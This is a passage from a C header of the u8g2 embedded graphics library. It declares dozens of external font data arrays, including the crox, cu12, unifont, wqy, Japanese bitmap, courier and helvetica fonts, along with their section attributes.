u8g2_font_crox2h_tr[] U8G2_FONT_SECTION("u8g2_font_crox2h_tr"); extern const uint8_t u8g2_font_crox2h_tn[] U8G2_FONT_SECTION("u8g2_font_crox2h_tn"); extern const uint8_t u8g2_font_crox2tb_tf[] U8G2_FONT_SECTION("u8g2_font_crox2tb_tf"); extern const uint8_t u8g2_font_crox2tb_tr[] U8G2_FONT_SECTION("u8g2_font_crox2tb_tr"); extern const uint8_t u8g2_font_crox2tb_tn[] U8G2_FONT_SECTION("u8g2_font_crox2tb_tn"); extern const uint8_t u8g2_font_crox2t_tf[] U8G2_FONT_SECTION("u8g2_font_crox2t_tf"); extern const uint8_t u8g2_font_crox2t_tr[] U8G2_FONT_SECTION("u8g2_font_crox2t_tr"); extern const uint8_t u8g2_font_crox2t_tn[] U8G2_FONT_SECTION("u8g2_font_crox2t_tn"); extern const uint8_t u8g2_font_crox3cb_tf[] U8G2_FONT_SECTION("u8g2_font_crox3cb_tf"); extern const uint8_t u8g2_font_crox3cb_tr[] U8G2_FONT_SECTION("u8g2_font_crox3cb_tr"); extern const uint8_t u8g2_font_crox3cb_tn[] U8G2_FONT_SECTION("u8g2_font_crox3cb_tn"); extern const uint8_t u8g2_font_crox3cb_mf[] U8G2_FONT_SECTION("u8g2_font_crox3cb_mf"); extern const uint8_t u8g2_font_crox3cb_mr[] U8G2_FONT_SECTION("u8g2_font_crox3cb_mr"); extern const uint8_t u8g2_font_crox3cb_mn[] U8G2_FONT_SECTION("u8g2_font_crox3cb_mn"); extern const uint8_t u8g2_font_crox3c_tf[] U8G2_FONT_SECTION("u8g2_font_crox3c_tf"); extern const uint8_t u8g2_font_crox3c_tr[] U8G2_FONT_SECTION("u8g2_font_crox3c_tr"); extern const uint8_t u8g2_font_crox3c_tn[] U8G2_FONT_SECTION("u8g2_font_crox3c_tn"); extern const uint8_t u8g2_font_crox3c_mf[] U8G2_FONT_SECTION("u8g2_font_crox3c_mf"); extern const uint8_t u8g2_font_crox3c_mr[] U8G2_FONT_SECTION("u8g2_font_crox3c_mr"); extern const uint8_t u8g2_font_crox3c_mn[] U8G2_FONT_SECTION("u8g2_font_crox3c_mn"); extern const uint8_t u8g2_font_crox3hb_tf[] U8G2_FONT_SECTION("u8g2_font_crox3hb_tf"); extern const uint8_t u8g2_font_crox3hb_tr[] U8G2_FONT_SECTION("u8g2_font_crox3hb_tr"); extern const uint8_t u8g2_font_crox3hb_tn[] U8G2_FONT_SECTION("u8g2_font_crox3hb_tn"); extern const uint8_t u8g2_font_crox3h_tf[] U8G2_FONT_SECTION("u8g2_font_crox3h_tf"); extern const uint8_t u8g2_font_crox3h_tr[] U8G2_FONT_SECTION("u8g2_font_crox3h_tr"); extern const uint8_t u8g2_font_crox3h_tn[] U8G2_FONT_SECTION("u8g2_font_crox3h_tn"); extern const uint8_t u8g2_font_crox3tb_tf[] U8G2_FONT_SECTION("u8g2_font_crox3tb_tf"); extern const uint8_t u8g2_font_crox3tb_tr[] U8G2_FONT_SECTION("u8g2_font_crox3tb_tr"); extern const uint8_t u8g2_font_crox3tb_tn[] U8G2_FONT_SECTION("u8g2_font_crox3tb_tn"); extern const uint8_t u8g2_font_crox3t_tf[] U8G2_FONT_SECTION("u8g2_font_crox3t_tf"); extern const uint8_t u8g2_font_crox3t_tr[] U8G2_FONT_SECTION("u8g2_font_crox3t_tr"); extern const uint8_t u8g2_font_crox3t_tn[] U8G2_FONT_SECTION("u8g2_font_crox3t_tn"); extern const uint8_t u8g2_font_crox4hb_tf[] U8G2_FONT_SECTION("u8g2_font_crox4hb_tf"); extern const uint8_t u8g2_font_crox4hb_tr[] U8G2_FONT_SECTION("u8g2_font_crox4hb_tr"); extern const uint8_t u8g2_font_crox4hb_tn[] U8G2_FONT_SECTION("u8g2_font_crox4hb_tn"); extern const uint8_t u8g2_font_crox4h_tf[] U8G2_FONT_SECTION("u8g2_font_crox4h_tf"); extern const uint8_t u8g2_font_crox4h_tr[] U8G2_FONT_SECTION("u8g2_font_crox4h_tr"); extern const uint8_t u8g2_font_crox4h_tn[] U8G2_FONT_SECTION("u8g2_font_crox4h_tn"); extern const uint8_t u8g2_font_crox4tb_tf[] U8G2_FONT_SECTION("u8g2_font_crox4tb_tf"); extern const uint8_t u8g2_font_crox4tb_tr[] U8G2_FONT_SECTION("u8g2_font_crox4tb_tr"); extern const uint8_t u8g2_font_crox4tb_tn[] U8G2_FONT_SECTION("u8g2_font_crox4tb_tn"); extern const uint8_t u8g2_font_crox4t_tf[] U8G2_FONT_SECTION("u8g2_font_crox4t_tf"); extern const uint8_t u8g2_font_crox4t_tr[] U8G2_FONT_SECTION("u8g2_font_crox4t_tr"); extern const uint8_t u8g2_font_crox4t_tn[] U8G2_FONT_SECTION("u8g2_font_crox4t_tn"); extern const uint8_t u8g2_font_crox5hb_tf[] U8G2_FONT_SECTION("u8g2_font_crox5hb_tf"); extern const uint8_t u8g2_font_crox5hb_tr[] U8G2_FONT_SECTION("u8g2_font_crox5hb_tr"); extern const uint8_t u8g2_font_crox5hb_tn[] U8G2_FONT_SECTION("u8g2_font_crox5hb_tn"); extern const uint8_t u8g2_font_crox5h_tf[] U8G2_FONT_SECTION("u8g2_font_crox5h_tf"); extern const uint8_t u8g2_font_crox5h_tr[] U8G2_FONT_SECTION("u8g2_font_crox5h_tr"); extern const uint8_t u8g2_font_crox5h_tn[] U8G2_FONT_SECTION("u8g2_font_crox5h_tn"); extern const uint8_t u8g2_font_crox5tb_tf[] U8G2_FONT_SECTION("u8g2_font_crox5tb_tf"); extern const uint8_t u8g2_font_crox5tb_tr[] U8G2_FONT_SECTION("u8g2_font_crox5tb_tr"); extern const uint8_t u8g2_font_crox5tb_tn[] U8G2_FONT_SECTION("u8g2_font_crox5tb_tn"); extern const uint8_t u8g2_font_crox5t_tf[] U8G2_FONT_SECTION("u8g2_font_crox5t_tf"); extern const uint8_t u8g2_font_crox5t_tr[] U8G2_FONT_SECTION("u8g2_font_crox5t_tr"); extern const uint8_t u8g2_font_crox5t_tn[] U8G2_FONT_SECTION("u8g2_font_crox5t_tn"); extern const uint8_t u8g2_font_cu12_tf[] U8G2_FONT_SECTION("u8g2_font_cu12_tf"); extern const uint8_t u8g2_font_cu12_tr[] U8G2_FONT_SECTION("u8g2_font_cu12_tr"); extern const uint8_t u8g2_font_cu12_tn[] U8G2_FONT_SECTION("u8g2_font_cu12_tn"); extern const uint8_t u8g2_font_cu12_te[] U8G2_FONT_SECTION("u8g2_font_cu12_te"); extern const uint8_t u8g2_font_cu12_hf[] U8G2_FONT_SECTION("u8g2_font_cu12_hf"); extern const uint8_t u8g2_font_cu12_hr[] U8G2_FONT_SECTION("u8g2_font_cu12_hr"); extern const uint8_t u8g2_font_cu12_hn[] U8G2_FONT_SECTION("u8g2_font_cu12_hn"); extern const uint8_t u8g2_font_cu12_he[] U8G2_FONT_SECTION("u8g2_font_cu12_he"); extern const uint8_t u8g2_font_cu12_mf[] U8G2_FONT_SECTION("u8g2_font_cu12_mf"); extern const uint8_t u8g2_font_cu12_mr[] U8G2_FONT_SECTION("u8g2_font_cu12_mr"); extern const uint8_t u8g2_font_cu12_mn[] U8G2_FONT_SECTION("u8g2_font_cu12_mn"); extern const uint8_t u8g2_font_cu12_me[] U8G2_FONT_SECTION("u8g2_font_cu12_me"); extern const uint8_t u8g2_font_cu12_t_symbols[] U8G2_FONT_SECTION("u8g2_font_cu12_t_symbols"); extern const uint8_t u8g2_font_cu12_h_symbols[] U8G2_FONT_SECTION("u8g2_font_cu12_h_symbols"); extern const uint8_t u8g2_font_cu12_t_greek[] U8G2_FONT_SECTION("u8g2_font_cu12_t_greek"); extern const uint8_t u8g2_font_cu12_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_cu12_t_cyrillic"); extern const uint8_t u8g2_font_cu12_t_tibetan[] U8G2_FONT_SECTION("u8g2_font_cu12_t_tibetan"); extern const uint8_t u8g2_font_cu12_t_hebrew[] U8G2_FONT_SECTION("u8g2_font_cu12_t_hebrew"); extern const uint8_t u8g2_font_cu12_t_arabic[] U8G2_FONT_SECTION("u8g2_font_cu12_t_arabic"); extern const uint8_t u8g2_font_unifont_tf[] U8G2_FONT_SECTION("u8g2_font_unifont_tf"); extern const uint8_t u8g2_font_unifont_tr[] U8G2_FONT_SECTION("u8g2_font_unifont_tr"); extern const uint8_t u8g2_font_unifont_te[] U8G2_FONT_SECTION("u8g2_font_unifont_te"); extern const uint8_t u8g2_font_unifont_t_latin[] U8G2_FONT_SECTION("u8g2_font_unifont_t_latin"); extern const uint8_t u8g2_font_unifont_t_extended[] U8G2_FONT_SECTION("u8g2_font_unifont_t_extended"); extern const uint8_t u8g2_font_unifont_t_72_73[] U8G2_FONT_SECTION("u8g2_font_unifont_t_72_73"); extern const uint8_t u8g2_font_unifont_t_0_72_73[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_72_73"); extern const uint8_t u8g2_font_unifont_t_75[] U8G2_FONT_SECTION("u8g2_font_unifont_t_75"); extern const uint8_t u8g2_font_unifont_t_0_75[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_75"); extern const uint8_t u8g2_font_unifont_t_76[] U8G2_FONT_SECTION("u8g2_font_unifont_t_76"); extern const uint8_t u8g2_font_unifont_t_0_76[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_76"); extern const uint8_t u8g2_font_unifont_t_77[] U8G2_FONT_SECTION("u8g2_font_unifont_t_77"); extern const uint8_t u8g2_font_unifont_t_0_77[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_77"); extern const uint8_t u8g2_font_unifont_t_78_79[] U8G2_FONT_SECTION("u8g2_font_unifont_t_78_79"); extern const uint8_t u8g2_font_unifont_t_0_78_79[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_78_79"); extern const uint8_t u8g2_font_unifont_t_86[] U8G2_FONT_SECTION("u8g2_font_unifont_t_86"); extern const uint8_t u8g2_font_unifont_t_0_86[] U8G2_FONT_SECTION("u8g2_font_unifont_t_0_86"); extern const uint8_t u8g2_font_unifont_t_greek[] U8G2_FONT_SECTION("u8g2_font_unifont_t_greek"); extern const uint8_t u8g2_font_unifont_t_cyrillic[] U8G2_FONT_SECTION("u8g2_font_unifont_t_cyrillic"); extern const uint8_t u8g2_font_unifont_t_hebrew[] U8G2_FONT_SECTION("u8g2_font_unifont_t_hebrew"); extern const uint8_t u8g2_font_unifont_t_bengali[] U8G2_FONT_SECTION("u8g2_font_unifont_t_bengali"); extern const uint8_t u8g2_font_unifont_t_tibetan[] U8G2_FONT_SECTION("u8g2_font_unifont_t_tibetan"); extern const uint8_t u8g2_font_unifont_t_urdu[] U8G2_FONT_SECTION("u8g2_font_unifont_t_urdu"); extern const uint8_t u8g2_font_unifont_t_polish[] U8G2_FONT_SECTION("u8g2_font_unifont_t_polish"); extern const uint8_t u8g2_font_unifont_t_devanagari[] U8G2_FONT_SECTION("u8g2_font_unifont_t_devanagari"); extern const uint8_t u8g2_font_unifont_t_arabic[] U8G2_FONT_SECTION("u8g2_font_unifont_t_arabic"); extern const uint8_t u8g2_font_unifont_t_symbols[] U8G2_FONT_SECTION("u8g2_font_unifont_t_symbols"); extern const uint8_t u8g2_font_unifont_h_symbols[] U8G2_FONT_SECTION("u8g2_font_unifont_h_symbols"); extern const uint8_t u8g2_font_unifont_t_emoticons[] U8G2_FONT_SECTION("u8g2_font_unifont_t_emoticons"); extern const uint8_t u8g2_font_unifont_t_animals[] U8G2_FONT_SECTION("u8g2_font_unifont_t_animals"); extern const uint8_t u8g2_font_unifont_t_domino[] U8G2_FONT_SECTION("u8g2_font_unifont_t_domino"); extern const uint8_t u8g2_font_unifont_t_cards[] U8G2_FONT_SECTION("u8g2_font_unifont_t_cards"); extern const uint8_t u8g2_font_unifont_t_weather[] U8G2_FONT_SECTION("u8g2_font_unifont_t_weather"); extern const uint8_t u8g2_font_unifont_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_unifont_t_chinese1"); extern const uint8_t u8g2_font_unifont_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_unifont_t_chinese2"); extern const uint8_t u8g2_font_unifont_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_unifont_t_chinese3"); extern const uint8_t u8g2_font_unifont_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_unifont_t_japanese1"); extern const uint8_t u8g2_font_unifont_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_unifont_t_japanese2"); extern const uint8_t u8g2_font_unifont_t_japanese3[] U8G2_FONT_SECTION("u8g2_font_unifont_t_japanese3"); extern const uint8_t u8g2_font_unifont_t_korean1[] U8G2_FONT_SECTION("u8g2_font_unifont_t_korean1"); extern const uint8_t u8g2_font_unifont_t_korean2[] U8G2_FONT_SECTION("u8g2_font_unifont_t_korean2"); extern const uint8_t u8g2_font_unifont_t_vietnamese1[] U8G2_FONT_SECTION("u8g2_font_unifont_t_vietnamese1"); extern const uint8_t u8g2_font_unifont_t_vietnamese2[] U8G2_FONT_SECTION("u8g2_font_unifont_t_vietnamese2"); extern const uint8_t u8g2_font_gb16st_t_1[] U8G2_FONT_SECTION("u8g2_font_gb16st_t_1"); extern const uint8_t u8g2_font_gb16st_t_2[] U8G2_FONT_SECTION("u8g2_font_gb16st_t_2"); extern const uint8_t u8g2_font_gb16st_t_3[] U8G2_FONT_SECTION("u8g2_font_gb16st_t_3"); extern const uint8_t u8g2_font_gb24st_t_1[] U8G2_FONT_SECTION("u8g2_font_gb24st_t_1"); extern const uint8_t u8g2_font_gb24st_t_2[] U8G2_FONT_SECTION("u8g2_font_gb24st_t_2"); extern const uint8_t u8g2_font_gb24st_t_3[] U8G2_FONT_SECTION("u8g2_font_gb24st_t_3"); extern const uint8_t u8g2_font_wqy12_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_chinese1"); extern const uint8_t u8g2_font_wqy12_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_chinese2"); extern const uint8_t u8g2_font_wqy12_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_chinese3"); extern const uint8_t u8g2_font_wqy12_t_gb2312[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_gb2312"); extern const uint8_t u8g2_font_wqy12_t_gb2312a[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_gb2312a"); extern const uint8_t u8g2_font_wqy12_t_gb2312b[] U8G2_FONT_SECTION("u8g2_font_wqy12_t_gb2312b"); extern const uint8_t u8g2_font_wqy13_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_chinese1"); extern const uint8_t u8g2_font_wqy13_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_chinese2"); extern const uint8_t u8g2_font_wqy13_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_chinese3"); extern const uint8_t u8g2_font_wqy13_t_gb2312[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_gb2312"); extern const uint8_t u8g2_font_wqy13_t_gb2312a[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_gb2312a"); extern const uint8_t u8g2_font_wqy13_t_gb2312b[] U8G2_FONT_SECTION("u8g2_font_wqy13_t_gb2312b"); extern const uint8_t u8g2_font_wqy14_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_chinese1"); extern const uint8_t u8g2_font_wqy14_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_chinese2"); extern const uint8_t u8g2_font_wqy14_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_chinese3"); extern const uint8_t u8g2_font_wqy14_t_gb2312[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_gb2312"); extern const uint8_t u8g2_font_wqy14_t_gb2312a[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_gb2312a"); extern const uint8_t u8g2_font_wqy14_t_gb2312b[] U8G2_FONT_SECTION("u8g2_font_wqy14_t_gb2312b"); extern const uint8_t u8g2_font_wqy15_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_chinese1"); extern const uint8_t u8g2_font_wqy15_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_chinese2"); extern const uint8_t u8g2_font_wqy15_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_chinese3"); extern const uint8_t u8g2_font_wqy15_t_gb2312[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_gb2312"); extern const uint8_t u8g2_font_wqy15_t_gb2312a[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_gb2312a"); extern const uint8_t u8g2_font_wqy15_t_gb2312b[] U8G2_FONT_SECTION("u8g2_font_wqy15_t_gb2312b"); extern const uint8_t u8g2_font_wqy16_t_chinese1[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_chinese1"); extern const uint8_t u8g2_font_wqy16_t_chinese2[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_chinese2"); extern const uint8_t u8g2_font_wqy16_t_chinese3[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_chinese3"); extern const uint8_t u8g2_font_wqy16_t_gb2312[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_gb2312"); extern const uint8_t u8g2_font_wqy16_t_gb2312a[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_gb2312a"); extern const uint8_t u8g2_font_wqy16_t_gb2312b[] U8G2_FONT_SECTION("u8g2_font_wqy16_t_gb2312b"); extern const uint8_t u8g2_font_b10_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b10_t_japanese1"); extern const uint8_t u8g2_font_b10_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b10_t_japanese2"); extern const uint8_t u8g2_font_b10_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b10_b_t_japanese1"); extern const uint8_t u8g2_font_b10_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b10_b_t_japanese2"); extern const uint8_t u8g2_font_f10_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f10_t_japanese1"); extern const uint8_t u8g2_font_f10_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f10_t_japanese2"); extern const uint8_t u8g2_font_f10_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f10_b_t_japanese1"); extern const uint8_t u8g2_font_f10_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f10_b_t_japanese2"); extern const uint8_t u8g2_font_b12_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b12_t_japanese1"); extern const uint8_t u8g2_font_b12_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b12_t_japanese2"); extern const uint8_t u8g2_font_b12_t_japanese3[] U8G2_FONT_SECTION("u8g2_font_b12_t_japanese3"); extern const uint8_t u8g2_font_b12_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b12_b_t_japanese1"); extern const uint8_t u8g2_font_b12_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b12_b_t_japanese2"); extern const uint8_t u8g2_font_b12_b_t_japanese3[] U8G2_FONT_SECTION("u8g2_font_b12_b_t_japanese3"); extern const uint8_t u8g2_font_f12_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f12_t_japanese1"); extern const uint8_t u8g2_font_f12_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f12_t_japanese2"); extern const uint8_t u8g2_font_f12_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f12_b_t_japanese1"); extern const uint8_t u8g2_font_f12_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f12_b_t_japanese2"); extern const uint8_t u8g2_font_b16_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b16_t_japanese1"); extern const uint8_t u8g2_font_b16_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b16_t_japanese2"); extern const uint8_t u8g2_font_b16_t_japanese3[] U8G2_FONT_SECTION("u8g2_font_b16_t_japanese3"); extern const uint8_t u8g2_font_b16_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_b16_b_t_japanese1"); extern const uint8_t u8g2_font_b16_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_b16_b_t_japanese2"); extern const uint8_t u8g2_font_b16_b_t_japanese3[] U8G2_FONT_SECTION("u8g2_font_b16_b_t_japanese3"); extern const uint8_t u8g2_font_f16_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f16_t_japanese1"); extern const uint8_t u8g2_font_f16_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f16_t_japanese2"); extern const uint8_t u8g2_font_f16_b_t_japanese1[] U8G2_FONT_SECTION("u8g2_font_f16_b_t_japanese1"); extern const uint8_t u8g2_font_f16_b_t_japanese2[] U8G2_FONT_SECTION("u8g2_font_f16_b_t_japanese2"); extern const uint8_t u8g2_font_artossans8_8r[] U8G2_FONT_SECTION("u8g2_font_artossans8_8r"); extern const uint8_t u8g2_font_artossans8_8n[] U8G2_FONT_SECTION("u8g2_font_artossans8_8n"); extern const uint8_t u8g2_font_artossans8_8u[] U8G2_FONT_SECTION("u8g2_font_artossans8_8u"); extern const uint8_t u8g2_font_artosserif8_8r[] U8G2_FONT_SECTION("u8g2_font_artosserif8_8r"); extern const uint8_t u8g2_font_artosserif8_8n[] U8G2_FONT_SECTION("u8g2_font_artosserif8_8n"); extern const uint8_t u8g2_font_artosserif8_8u[] U8G2_FONT_SECTION("u8g2_font_artosserif8_8u"); extern const uint8_t u8g2_font_chroma48medium8_8r[] U8G2_FONT_SECTION("u8g2_font_chroma48medium8_8r"); extern const uint8_t u8g2_font_chroma48medium8_8n[] U8G2_FONT_SECTION("u8g2_font_chroma48medium8_8n"); extern const uint8_t u8g2_font_chroma48medium8_8u[] U8G2_FONT_SECTION("u8g2_font_chroma48medium8_8u"); extern const uint8_t u8g2_font_saikyosansbold8_8n[] U8G2_FONT_SECTION("u8g2_font_saikyosansbold8_8n"); extern const uint8_t u8g2_font_saikyosansbold8_8u[] U8G2_FONT_SECTION("u8g2_font_saikyosansbold8_8u"); extern const uint8_t u8g2_font_torussansbold8_8r[] U8G2_FONT_SECTION("u8g2_font_torussansbold8_8r"); extern const uint8_t u8g2_font_torussansbold8_8n[] U8G2_FONT_SECTION("u8g2_font_torussansbold8_8n"); extern const uint8_t u8g2_font_torussansbold8_8u[] U8G2_FONT_SECTION("u8g2_font_torussansbold8_8u"); extern const uint8_t u8g2_font_victoriabold8_8r[] U8G2_FONT_SECTION("u8g2_font_victoriabold8_8r"); extern const uint8_t u8g2_font_victoriabold8_8n[] U8G2_FONT_SECTION("u8g2_font_victoriabold8_8n"); extern const uint8_t u8g2_font_victoriabold8_8u[] U8G2_FONT_SECTION("u8g2_font_victoriabold8_8u"); extern const uint8_t u8g2_font_victoriamedium8_8r[] U8G2_FONT_SECTION("u8g2_font_victoriamedium8_8r"); extern const uint8_t u8g2_font_victoriamedium8_8n[] U8G2_FONT_SECTION("u8g2_font_victoriamedium8_8n"); extern const uint8_t u8g2_font_victoriamedium8_8u[] U8G2_FONT_SECTION("u8g2_font_victoriamedium8_8u"); extern const uint8_t u8g2_font_courB08_tf[] U8G2_FONT_SECTION("u8g2_font_courB08_tf"); extern const uint8_t u8g2_font_courB08_tr[] U8G2_FONT_SECTION("u8g2_font_courB08_tr"); extern const uint8_t u8g2_font_courB08_tn[] U8G2_FONT_SECTION("u8g2_font_courB08_tn"); extern const uint8_t u8g2_font_courB10_tf[] U8G2_FONT_SECTION("u8g2_font_courB10_tf"); extern const uint8_t u8g2_font_courB10_tr[] U8G2_FONT_SECTION("u8g2_font_courB10_tr"); extern const uint8_t u8g2_font_courB10_tn[] U8G2_FONT_SECTION("u8g2_font_courB10_tn"); extern const uint8_t u8g2_font_courB12_tf[] U8G2_FONT_SECTION("u8g2_font_courB12_tf"); extern const uint8_t u8g2_font_courB12_tr[] U8G2_FONT_SECTION("u8g2_font_courB12_tr"); extern const uint8_t u8g2_font_courB12_tn[] U8G2_FONT_SECTION("u8g2_font_courB12_tn"); extern const uint8_t u8g2_font_courB14_tf[] U8G2_FONT_SECTION("u8g2_font_courB14_tf"); extern const uint8_t u8g2_font_courB14_tr[] U8G2_FONT_SECTION("u8g2_font_courB14_tr"); extern const uint8_t u8g2_font_courB14_tn[] U8G2_FONT_SECTION("u8g2_font_courB14_tn"); extern const uint8_t u8g2_font_courB18_tf[] U8G2_FONT_SECTION("u8g2_font_courB18_tf"); extern const uint8_t u8g2_font_courB18_tr[] U8G2_FONT_SECTION("u8g2_font_courB18_tr"); extern const uint8_t u8g2_font_courB18_tn[] U8G2_FONT_SECTION("u8g2_font_courB18_tn"); extern const uint8_t u8g2_font_courB24_tf[] U8G2_FONT_SECTION("u8g2_font_courB24_tf"); extern const uint8_t u8g2_font_courB24_tr[] U8G2_FONT_SECTION("u8g2_font_courB24_tr"); extern const uint8_t u8g2_font_courB24_tn[] U8G2_FONT_SECTION("u8g2_font_courB24_tn"); extern const uint8_t u8g2_font_courR08_tf[] U8G2_FONT_SECTION("u8g2_font_courR08_tf"); extern const uint8_t u8g2_font_courR08_tr[] U8G2_FONT_SECTION("u8g2_font_courR08_tr"); extern const uint8_t u8g2_font_courR08_tn[] U8G2_FONT_SECTION("u8g2_font_courR08_tn"); extern const uint8_t u8g2_font_courR10_tf[] U8G2_FONT_SECTION("u8g2_font_courR10_tf"); extern const uint8_t u8g2_font_courR10_tr[] U8G2_FONT_SECTION("u8g2_font_courR10_tr"); extern const uint8_t u8g2_font_courR10_tn[] U8G2_FONT_SECTION("u8g2_font_courR10_tn"); extern const uint8_t u8g2_font_courR12_tf[] U8G2_FONT_SECTION("u8g2_font_courR12_tf"); extern const uint8_t u8g2_font_courR12_tr[] U8G2_FONT_SECTION("u8g2_font_courR12_tr"); extern const uint8_t u8g2_font_courR12_tn[] U8G2_FONT_SECTION("u8g2_font_courR12_tn"); extern const uint8_t u8g2_font_courR14_tf[] U8G2_FONT_SECTION("u8g2_font_courR14_tf"); extern const uint8_t u8g2_font_courR14_tr[] U8G2_FONT_SECTION("u8g2_font_courR14_tr"); extern const uint8_t u8g2_font_courR14_tn[] U8G2_FONT_SECTION("u8g2_font_courR14_tn"); extern const uint8_t u8g2_font_courR18_tf[] U8G2_FONT_SECTION("u8g2_font_courR18_tf"); extern const uint8_t u8g2_font_courR18_tr[] U8G2_FONT_SECTION("u8g2_font_courR18_tr"); extern const uint8_t u8g2_font_courR18_tn[] U8G2_FONT_SECTION("u8g2_font_courR18_tn"); extern const uint8_t u8g2_font_courR24_tf[] U8G2_FONT_SECTION("u8g2_font_courR24_tf"); extern const uint8_t u8g2_font_courR24_tr[] U8G2_FONT_SECTION("u8g2_font_courR24_tr"); extern const uint8_t u8g2_font_courR24_tn[] U8G2_FONT_SECTION("u8g2_font_courR24_tn"); extern const uint8_t u8g2_font_helvB08_tf[] U8G2_FONT_SECTION("u8g2_font_helvB08_tf"); extern const uint8_t u8g2_font_helvB08_tr[] U8G2_FONT_SECTION("u8g2_font_helvB08_tr"); extern const uint8_t u8g2_font_helvB08_tn[] U8G2_FONT_SECTION("u8g2_font_helvB08_tn"); extern const uint8_t u8g2_font_helvB08_te[] U8G2_FONT_SECTION("u8g2_font_helvB08_te"); extern const uint8_t u8g2_font_helvB10_tf[] U8G2_FONT_SECTION("u8g2_font_helvB10_tf"); extern const uint8_t u8g2_font_helvB10_tr[] U8G2_FONT_SECTION("u8g2_font_helvB10_tr"); extern const uint8_t u8g2_font_helvB10_tn[] U8G2_FONT_SECTION("u8g2_font_helvB10_tn"); extern const uint8_t u8g2_font_helvB10_te[] U8G2_FONT_SECTION("u8g2_font_helvB10_te"); extern const uint8_t u8g2_font_helvB12_tf[] U8G2_FONT_SECTION("u8g2_font_helvB12_tf"); extern const uint8_t u8g2_font_helvB12_tr[] U8G2_FONT_SECTION("u8g2_font_helvB12_tr"); extern const uint8_t u8g2_font_helvB12_tn[] U8G2_FONT_SECTION("u8g2_font_helvB12_tn"); extern const uint8_t u8g2_font_helvB12_te[] U8G2_FONT_SECTION("u8g2_font_helvB12_te"); extern const uint8_t u8g2_font_helvB14_tf[] U8G2_FONT_SECTION("u8g2_font_helvB14_tf"); extern const uint8_t u8g2_font_helvB14_tr[] U8G2_FONT_SECTION("u8g2_font_helvB14_tr"); extern const uint8_t u8g2_font_helvB14_tn[] U8G2_FONT_SECTION("u8g2_font_helvB14_tn"); extern const uint8_t u8g2_font_helvB14_te[] U8G2_FONT_SECTION("u8g2_font_helvB14_te"); extern const uint8_t u8g2_font_helvB18_tf[] U8G2_FONT_SECTION("u8g2_font_helvB18_tf"); extern const uint8_t u8g2_font_helvB18_tr[] U8G2_FONT_SECTION("u8g2_font_helvB18_tr"); extern const uint8_t u8g2_font_helvB18_tn[] U8G2_FONT_SECTION("u8g2_font_helvB18_tn"); extern const uint8_t u8g2_font_helvB18_te[] U8G2_FONT_SECTION("u8g2_font_helvB18_te"); extern const uint8_t u8g2_font_helvB24_tf[] U8G2_FONT_SECTION("u8g2_font_helvB24_tf"); extern const uint8_t u8g2_font_helvB24_tr[] U8G2_FONT_SECTION("u8g2_font_helvB24_tr"); extern const uint8_t u8g2_font_helvB24_tn[] U8G2_FONT_SECTION("u8g2_font_helvB24_tn"); extern const uint8_t u8g2_font_helvB24_te[] U8G2_FONT_SECTION("u8g2_font_helvB24_te"); extern const uint8_t u8g2_font_helvR08_tf[] U8G2_FONT_SECTION("u8g2_font_helvR08_tf"); extern const uint8_t u8g2_font_helvR08_tr[] U8G2_FONT_SECTION("u8g2_font_helvR08_tr"); extern const uint8_t u8g2_font_helvR08_tn[] U8G2_FONT_SECTION("u8g2_font_helvR08_tn"); extern const uint8_t u8g2_font_helvR08_te[] 